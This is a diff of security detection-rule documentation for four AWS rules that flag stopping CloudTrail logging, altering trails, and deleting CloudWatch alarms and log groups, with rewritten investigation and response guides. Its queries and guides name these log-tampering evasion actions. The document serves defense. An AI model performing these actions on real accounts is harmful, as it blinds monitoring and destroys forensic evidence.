+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -30,11 +30,12 @@ Identifies suspending the recording of AWS API calls and log file delivery for t
 * Domain: Cloud
 * Data Source: AWS
 * Data Source: Amazon Web Services
+* Data Source: AWS Cloudtrail
 * Use Case: Log Auditing
 * Resources: Investigation Guide
 * Tactic: Defense Evasion
 
-*Version*: 211
+*Version*: 212
 
 *Rule authors*: 
 
@@ -50,67 +51,57 @@ Identifies suspending the recording of AWS API calls and log file delivery for t
 *Triage and analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
 
-*Investigating AWS CloudTrail Log Suspended*
 
+*Investigating AWS CloudTrail Log Suspended*
 
-Amazon CloudTrail is a service that enables governance, compliance, operational auditing, and risk auditing of your Amazon Web Services account. With CloudTrail, you can log, continuously monitor, and retain account activity related to actions across your Amazon Web Services infrastructure. CloudTrail provides event history of your Amazon Web Services account activity, including actions taken through the Amazon Management Console, Amazon SDKs, command line tools, and other Amazon Web Services services. This event history simplifies security analysis, resource change tracking, and troubleshooting.
 
-This rule identifies the suspension of an AWS log trail using the API `StopLogging` action. Attackers can do this to cover their tracks and impact security monitoring that relies on this source.
+AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the suspension of an AWS log trail using the `StopLogging` API. Attackers can do this to cover their tracks and impact security monitoring that relies on this source.
 
 
 *Possible investigation steps*
 
-
-- Identify the user account that performed the action and whether it should perform this kind of action.
-- Investigate other alerts associated with the user account during the past 48 hours.
-- Contact the account and resource owners and confirm whether they are aware of this activity.
-- Check if this operation was approved and performed according to the organization's change management policy.
-- Considering the source IP address and geolocation of the user who issued the command:
-    - Do they look normal for the user?
-    - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?
-    - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?
-- Investigate the deleted log trail's criticality and whether the responsible team is aware of the deletion.
-- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.
+- **Actor & scope**
+  - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`.
+  - Determine which trail stopped (`target.entity.id`) and whether it’s multi-region or organization-wide.
+- **Timing and impact**
+  - When did logging stop and resume (if at all)? Are there overlapping detections indicating activity during the gap?
+- **Correlate activity**
+  - Search for sensitive API activity around the stop event (IAM changes, S3 policy changes, EC2 exports, KMS changes).
+  - Check for preceding `UpdateTrail` (e.g., destination change) and subsequent `DeleteTrail`.
 
 
 *False positive analysis*
 
-
-- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and IP address conditions.
+- **Planned suspensions**: Rare; verify maintenance tickets and ensure post-change validation.
 
 
 *Response and remediation*
 
+- Restart logging (`StartLogging`) immediately.
+- Investigate actor’s recent activity; rotate credentials if suspicious.
+- Validate trail configuration, destination bucket/CMK, and event selectors.
+- Hardening: Limit `cloudtrail:StopLogging` to break-glass roles; alert on any future stops; enforce via AWS Config/SCPs.
 
-- Initiate the incident response process based on the outcome of the triage.
-- Disable or limit the account during the investigation and response.
-- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:
-    - Identify the account role in the cloud environment.
-    - Assess the criticality of affected services and servers.
-    - Work with your IT team to identify and minimize the impact on users.
-    - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.
-    - Identify any regulatory or legal ramifications related to this activity.
-- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions.
-- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.
-- Consider enabling multi-factor authentication for users.
-- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.
-- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS.
-- Take the actions needed to return affected systems, data, or services to their normal operational levels.
-- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector.
-- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
 
-==== Setup
+*Additional information*
 
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:cloudtrail.amazonaws.com and event.action:StopLogging and event.outcome:success
+event.dataset: "aws.cloudtrail" 
+    and event.provider: "cloudtrail.amazonaws.com" 
+    and event.action: "StopLogging" 
+    and event.outcome: "success"
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-updated.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-updated.asciidoc
index 96b3998a87..3987ce496e 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-updated.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-updated.asciidoc
@@ -1,7 +1,7 @@
 [[aws-cloudtrail-log-updated]]
 === AWS CloudTrail Log Updated
 
-Identifies an update to an AWS log trail setting that specifies the delivery of log files.
+Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies an update to an AWS log trail setting that specifies the delivery of
 
 *Risk score*: 21
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -35,7 +35,7 @@ Identifies an update to an AWS log trail setting that specifies the delivery of
 * Resources: Investigation Guide
 * Tactic: Impact
 
-*Version*: 211
+*Version*: 212
 
 *Rule authors*: 
 
@@ -51,67 +51,61 @@ Identifies an update to an AWS log trail setting that specifies the delivery of
 *Triage and analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
 
-*Investigating AWS CloudTrail Log Updated*
 
+*Investigating AWS CloudTrail Log Updated*
 
-Amazon CloudTrail is a service that enables governance, compliance, operational auditing, and risk auditing of your Amazon Web Services account. With CloudTrail, you can log, continuously monitor, and retain account activity related to actions across your Amazon Web Services infrastructure. CloudTrail provides event history of your Amazon Web Services account activity, including actions taken through the Amazon Management Console, Amazon SDKs, command line tools, and other Amazon Web Services services. This event history simplifies security analysis, resource change tracking, and troubleshooting.
 
-This rule identifies a modification on CloudTrail settings using the API `UpdateTrail` action. Attackers can do this to cover their tracks and impact security monitoring that relies on this source.
+AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Trail modifications can be used by attackers to redirect logs to non-approved buckets, drop regions, or disable valuable selectors. This rule identifies a modification on CloudTrail settings using the `UpdateTrail` API. 
 
 
 *Possible investigation steps*
 
-
-- Identify the user account that performed the action and whether it should perform this kind of action.
-- Examine the response elements of the event to determine the scope of the changes.
-- Investigate other alerts associated with the user account during the past 48 hours.
-- Contact the account and resource owners and confirm whether they are aware of this activity.
-- Check if this operation was approved and performed according to the organization's change management policy.
-- Considering the source IP address and geolocation of the user who issued the command:
-    - Do they look normal for the user?
-    - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?
-    - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?
-- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.
+- **Actor and context**
+  - Check `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`; verify approved change.
+- **Assess the modification**
+  - In `aws.cloudtrail.request_parameters`, note changes to:
+    - `S3BucketName`, `CloudWatchLogsLogGroupArn`, `KmsKeyId`
+    - `IsMultiRegionTrail`, `IncludeGlobalServiceEvents`
+    - Event or insight selectors (management vs data events)
+- **Correlate**
+  - Look for preceding `StopLogging` or following `DeleteTrail`.
+  - Review concurrent IAM policy edits or role changes by the same actor.
 
 
 *False positive analysis*
 
-
-- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and IP address conditions.
+- **Planned changes**: Baseline drift during region onboarding or encryption rotation.
+- **Automation**: IaC pipelines updating trails as templates evolve.
 
 
 *Response and remediation*
 
+- **If unauthorized**
+  - Revert to baseline; validate destination ownership and KMS policy.
+  - Investigate time ranges where visibility may have been reduced.
+- **Hardening**
+  - Constrain `cloudtrail:UpdateTrail`, require approvals, and monitor with AWS Config rules.
 
-- Initiate the incident response process based on the outcome of the triage.
-- Disable or limit the account during the investigation and response.
-- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:
-    - Identify the account role in the cloud environment.
-    - Assess the criticality of affected services and servers.
-    - Work with your IT team to identify and minimize the impact on users.
-    - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.
-    - Identify any regulatory or legal ramifications related to this activity.
-- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions.
-- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.
-- Consider enabling multi-factor authentication for users.
-- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.
-- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS.
-- Take the actions needed to return affected systems, data, or services to their normal operational levels.
-- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector.
-- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
 
-==== Setup
+*Additional information*
 
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:cloudtrail.amazonaws.com and event.action:UpdateTrail and event.outcome:success
+event.dataset: "aws.cloudtrail" 
+    and event.provider: "cloudtrail.amazonaws.com" 
+    and event.action: "UpdateTrail" 
+    and event.outcome: "success"
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-alarm-deletion.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-alarm-deletion.asciidoc
index f4f335eb1b..9f42da4818 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-alarm-deletion.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-alarm-deletion.asciidoc
@@ -1,7 +1,7 @@
 [[aws-cloudwatch-alarm-deletion]]
 === AWS CloudWatch Alarm Deletion
 
-Identifies the deletion of an AWS CloudWatch alarm. An adversary may delete alarms in an attempt to evade defenses.
+Detects the deletion of one or more Amazon CloudWatch alarms using the "DeleteAlarms" API. CloudWatch alarms are critical for monitoring metrics and triggering alerts when thresholds are exceeded. An adversary may delete alarms to impair visibility, silence alerts, and evade detection following malicious activity. This behavior may occur during post-exploitation or cleanup phases to remove traces of compromise or disable automated responses.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies the deletion of an AWS CloudWatch alarm. An adversary may delete alar
 
 *Risk score*: 47
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -30,10 +30,11 @@ Identifies the deletion of an AWS CloudWatch alarm. An adversary may delete alar
 * Domain: Cloud
 * Data Source: AWS
 * Data Source: Amazon Web Services
+* Data Source: Amazon CloudWatch
 * Resources: Investigation Guide
 * Tactic: Defense Evasion
 
-*Version*: 211
+*Version*: 212
 
 *Rule authors*: 
 
@@ -49,73 +50,104 @@ Identifies the deletion of an AWS CloudWatch alarm. An adversary may delete alar
 *Triage and analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it to your operational context.
+
 
 *Investigating AWS CloudWatch Alarm Deletion*
 
 
-Amazon CloudWatch is a monitoring and observability service that collects monitoring and operational data in the form of
-logs, metrics, and events for resources and applications. This data can be used to detect anomalous behavior in your environments, set alarms, visualize
-logs and metrics side by side, take automated actions, troubleshoot issues, and discover insights to keep your
-applications running smoothly.
+Amazon CloudWatch is a monitoring and observability service that collects monitoring and operational data in the form of logs, metrics, and events for resources and applications. This data can be used to detect anomalous behavior in your environments, set alarms, visualize logs and metrics side by side, take automated actions, troubleshoot issues, and discover insights to keep your applications running smoothly.
 
-CloudWatch Alarms is a feature that allows you to watch CloudWatch metrics and to receive notifications when the metrics
-fall outside of the levels (high or low thresholds) that you configure.
+Amazon CloudWatch Alarms monitor key metrics and trigger automated alerts or remediation workflows. Deleting these alarms disables monitoring of associated metrics and can delay detection of performance degradation or security incidents. Attackers may delete alarms to evade detection, suppress alerts, or disable security automation that responds to anomalies or policy violations.
 
-This rule looks for the deletion of a alarm using the API `DeleteAlarms` action. Attackers can do this to cover their
-tracks and evade security defenses.
+This rule detects successful calls to the `DeleteAlarms` API via CloudTrail. These events should be rare and always associated with a valid change-control request or automation pipeline.
 
 
 *Possible investigation steps*
 
 
-- Identify the user account that performed the action and whether it should perform this kind of action.
-- Investigate other alerts associated with the user account during the past 48 hours.
-- Contact the account and resource owners and confirm whether they are aware of this activity.
-- Check if there is a justification for this behavior.
-- Considering the source IP address and geolocation of the user who issued the command:
-    - Do they look normal for the user?
-    - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?
-    - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?
-- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deletion.
+  - Check whether this actor typically performs CloudWatch management or automation tasks.
+
+- **Review request details**
+  - Inspect `aws.cloudtrail.request_parameters` or `target.entity.id` for the specific alarm names deleted. 
+  - Determine whether the alarms were security-related (e.g., CloudTrail log delivery, GuardDuty finding rate, or IAM API monitoring alarms).
+  - Cross-reference deleted alarms with your organization's list of critical monitoring configurations.
+
+- **Analyze source and context**
+  - Review `source.ip` and `user_agent.original` for anomalies such as external IPs, unusual user agents, or custom SDKs.
+  - Determine whether the activity occurred during a known maintenance window or from a trusted automation host.
+  - Examine `cloud.region` to identify whether alarms were deleted from unexpected regions.
+
+- **Correlate with surrounding events**
+  - Review CloudTrail events for related activity around the same time, such as:
+    - `PutMetricAlarm`, `DisableAlarmActions`, or `DeleteLogGroup`
+    - Changes to CloudTrail, Config, or GuardDuty configurations
+    - IAM policy or permission modifications that could facilitate evasion
+  - Identify whether the same actor has previously modified logging or monitoring infrastructure.
+
+- **Assess impact and scope**
+  - Determine which systems or detection workflows relied on the deleted alarms.
+  - Review whether the deletion affected automated responses, notifications, or third-party integrations (e.g., SNS, Lambda, or PagerDuty).
 
 
 *False positive analysis*
 
 
-- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and IP address conditions.
+- **Legitimate automation or redeployment**
+  - Infrastructure as Code (IaC) frameworks such as Terraform or CloudFormation may delete and recreate alarms during updates.
+  - Validate automation account roles and ensure alarm deletions are immediately followed by re-creation actions.
+- **Operational maintenance**
+  - Scheduled monitoring cleanup, regional deactivation, or test environment resets can trigger legitimate deletions. 
+  - Verify timing and user identity against approved change management records.
+- **Organizational migrations**
+  - Security operations or DevOps teams may consolidate alarms during account merges or refactors. 
+  - Confirm intent with relevant teams and exclude authorized administrative accounts as necessary.
 
 
 *Response and remediation*
 
 
-- Initiate the incident response process based on the outcome of the triage.
-- Disable or limit the account during the investigation and response.
-- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:
-    - Identify the account role in the cloud environment.
-    - Assess the criticality of affected services and servers.
-    - Work with your IT team to identify and minimize the impact on users.
-    - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.
-    - Identify any regulatory or legal ramifications related to this activity.
-- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions.
-- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.
-- Consider enabling multi-factor authentication for users.
-- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.
-- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS.
-- Take the actions needed to return affected systems, data, or services to their normal operational levels.
-- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector.
-- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+- **Containment**
+  - If the deletion was unauthorized, recreate the deleted alarms immediately using IaC templates or CloudFormation backups.
+  - Re-enable any dependent automation or alerts that rely on those alarms.
+  - Temporarily restrict CloudWatch modification privileges to designated IAM roles.
 
-==== Setup
+- **Investigation**
+  - Review related CloudTrail logs for preceding IAM changes, STS activity, or anomalous role assumptions that might indicate compromised credentials.
+  - Investigate whether any alerts were suppressed or delayed prior to the deletion.
 
+- **Recovery and hardening**
+  - Implement AWS Config rules to continuously monitor alarm existence and alert on `DeleteAlarms` API calls.
+  - Restrict permissions to `cloudwatch:DeleteAlarms` and enforce MFA for users performing monitoring configuration changes.
+  - Maintain IaC definitions for all critical alarms to support rapid restoration.
+  - Audit IAM roles and automation accounts that manage CloudWatch configurations to ensure least privilege.
+  - Integrate alarm configuration checks into your CI/CD validation workflows.
+
+
+*Additional information*
+
+
+- **https://docs.aws.amazon.com/config/latest/developerguide/cloudwatch-alarm-action-check.html[AWS Config Rule – cloudwatch-alarm-action-check]**
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:monitoring.amazonaws.com and event.action:DeleteAlarms and event.outcome:success
+event.dataset: "aws.cloudtrail" 
+  and event.provider: "monitoring.amazonaws.com" 
+  and event.action: "DeleteAlarms"
+  and event.outcome: "success"
+  and source.ip: *
+  and not user_agent.original : "AWS Internal"
 
 ----------------------------------
 
@@ -133,3 +165,7 @@ event.dataset:aws.cloudtrail and event.provider:monitoring.amazonaws.com and eve
 ** Name: Disable or Modify Tools
 ** ID: T1562.001
 ** Reference URL: https://attack.mitre.org/techniques/T1562/001/
+* Sub-technique:
+** Name: Indicator Blocking
+** ID: T1562.006
+** Reference URL: https://attack.mitre.org/techniques/T1562/006/
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-log-group-deletion.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-log-group-deletion.asciidoc
index 430bdf12aa..72c192a9fd 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-log-group-deletion.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-log-group-deletion.asciidoc
@@ -1,7 +1,7 @@
 [[aws-cloudwatch-log-group-deletion]]
 === AWS CloudWatch Log Group Deletion
 
-Identifies the deletion of a specified AWS CloudWatch log group. When a log group is deleted, all the archived log events associated with the log group are also permanently deleted.
+Detects the deletion of an Amazon CloudWatch Log Group using the "DeleteLogGroup" API. CloudWatch log groups store operational and security logs for AWS services and custom applications. Deleting a log group permanently removes all associated log streams and historical log data, which can eliminate forensic evidence and disrupt security monitoring pipelines. Adversaries may delete log groups to conceal malicious activity, disable log forwarding, or impede incident response.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies the deletion of a specified AWS CloudWatch log group. When a log grou
 
 *Risk score*: 47
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -30,12 +30,13 @@ Identifies the deletion of a specified AWS CloudWatch log group. When a log grou
 * Domain: Cloud
 * Data Source: AWS
 * Data Source: Amazon Web Services
-* Data Source: AWS CloudWatch
+* Data Source: Amazon CloudWatch
 * Use Case: Log Auditing
 * Resources: Investigation Guide
+* Tactic: Defense Evasion
 * Tactic: Impact
 
-*Version*: 211
+*Version*: 212
 
 *Rule authors*: 
 
@@ -51,69 +52,122 @@ Identifies the deletion of a specified AWS CloudWatch log group. When a log grou
 *Triage and analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it to your operational context.
+
 
 *Investigating AWS CloudWatch Log Group Deletion*
 
 
-Amazon CloudWatch is a monitoring and observability service that collects monitoring and operational data in the form of logs, metrics, and events for resources and applications. This data can be used to detect anomalous behavior in your environments, set alarms, visualize logs and metrics side by side, take automated actions, troubleshoot issues, and discover insights to keep your applications running smoothly.
+CloudWatch Logs is foundational to AWS observability, SIEM ingestion, audit pipelines, and incident response.  
+Log groups often contain retention-critical logs such as:
 
-A log group is a group of log streams that share the same retention, monitoring, and access control settings. You can define log groups and specify which streams to put into each group. There is no limit on the number of log streams that can belong to one log group.
+- VPC Flow Logs  
+- Lambda function logs  
+- Application and container logs  
+- Security service logs (e.g., AWS WAF, RDS logs)
 
-This rule looks for the deletion of a log group using the API `DeleteLogGroup` action. Attackers can do this to cover their tracks and impact security monitoring that relies on these sources.
+Deletion of a log group removes all historical log streams and cannot be reversed. 
+Adversaries may leverage `DeleteLogGroup` to impair forensic visibility, disrupt monitoring, and hide evidence following malicious actions. This rule detects a successful `DeleteLogGroup` event initiated from a non–AWS Internal user agent, signalling potential defense evasion or disruption of logging pipelines.
 
 
 *Possible investigation steps*
 
 
-- Identify the user account that performed the action and whether it should perform this kind of action.
-- Investigate other alerts associated with the user account during the past 48 hours.
-- Contact the account and resource owners and confirm whether they are aware of this activity.
-- Check if this operation was approved and performed according to the organization's change management policy.
-- Considering the source IP address and geolocation of the user who issued the command:
-    - Do they look normal for the user?
-    - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?
-    - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?
-- Investigate the deleted log group's criticality and whether the responsible team is aware of the deletion.
-- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.
+ **Identify the actor**
+- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`.  
+- Determine whether this identity normally modifies CloudWatch Logs or is associated with automation.
+
+**Review deletion details**
+- Inspect `aws.cloudtrail.request_parameters` or `target.entity.id` to determine the exact log group deleted.  
+- Assess whether the log group provided visibility into:
+  - CloudTrail processing,  
+  - Network flows (VPC Flow Logs),  
+  - Serverless/application security logs,  
+  - Lambda, ECS, EKS, or container workload logs.
+
+**Check source and context**
+- Assess `source.ip` for unusual IPs, geolocations, VPN endpoints, or cloud provider ranges unfamiliar to your environment.  
+- Review `user_agent.original` for unexpected tools (custom agents, unusual SDKs, attackers using CLI default agents).
+
+**Correlate with surrounding activity**
+Look for preceding or subsequent CloudTrail events such as:
+
+- `StopLogging`, `DeleteTrail`, or CloudTrail configuration changes  
+- IAM permission escalations (e.g., `PutUserPolicy`, `AttachRolePolicy`)  
+- Security service suppression actions (e.g., GuardDuty detector deletion)  
+- Lambda or application configuration updates that may indicate a compromise  
+
+If the deleted log group was associated with a Lambda execution role, review for suspicious code updates or rogue deployments.
+
+**Assess business or security impact**
+- Identify whether the deleted log group fed:
+  - SIEM ingestion  
+  - Security analytics pipelines  
+  - Compliance/audit logs  
+  - Operational monitoring or alerting  
+- Contact the service owner or development team to verify whether the deletion was intentional.
+
+**Determine compromise scope if malicious**
+- Use CloudTrail to identify prior activity by the same user identity or IP.  
+- Examine authentication events (IAM, STS) for signs of stolen credentials or session hijacking.  
+- Identify resources or applications dependent on the deleted logging pipeline.
 
 
 *False positive analysis*
 
 
-- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and IP address conditions.
+- **IaC-managed environments**: Tools like Terraform or CloudFormation may delete and recreate log groups during deployments.  
+- **Automated cleanup jobs**: Some environments use automated retention cleanup workflows.  
+- **Ephemeral testing accounts**: Development/testing accounts frequently create and destroy log groups.
+
+To tune noise:
+- Add exceptions for specific automation IAM roles or trusted source IPs.
+- Require `user_agent.original` and `source.ip` conditions for baseline-based tuning.
 
 
 *Response and remediation*
 
 
-- Initiate the incident response process based on the outcome of the triage.
-- Disable or limit the account during the investigation and response.
-- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:
-    - Identify the account role in the cloud environment.
-    - Assess the criticality of affected services and servers.
-    - Work with your IT team to identify and minimize the impact on users.
-    - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.
-    - Identify any regulatory or legal ramifications related to this activity.
-- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions.
-- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.
-- Consider enabling multi-factor authentication for users.
-- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.
-- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS.
-- Take the actions needed to return affected systems, data, or services to their normal operational levels.
-- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector.
-- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+**Containment**
+- Immediately recreate the deleted log group (if appropriate) using IaC or CloudWatch Console.  
+- Restrict the IAM identity that performed the deletion until the activity is validated.  
+- Enable or confirm CloudTrail logging in all regions to maintain broader visibility.
+
+**Investigation**
+- Review CloudTrail activity for:
+  - privilege escalation attempts,  
+  - IAM role modifications,  
+  - security service tampering (CloudTrail, Config, GuardDuty).  
+- Correlate with alerts from other services (GuardDuty, Security Hub, SIEM detections).
+
+**Recovery and hardening**
+- Enforce least privilege on `logs:DeleteLogGroup`.  
+- Configure AWS Config rules to alert on missing or modified log groups.  
+- Implement log group retention policies and IAM SCP guardrails to prevent unauthorized deletion.  
+- Document log group ownership and expected lifecycle management.
+
+
+*Additional information*
 
-==== Setup
 
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:logs.amazonaws.com and event.action:DeleteLogGroup and event.outcome:success
+event.dataset: "aws.cloudtrail" 
+  and event.provider: "logs.amazonaws.com" 
+  and event.action: "DeleteLogGroup" 
+  and event.outcome: "success"
+  and source.ip: * 
+  and not user_agent.original : "AWS Internal"
 
 ----------------------------------
 
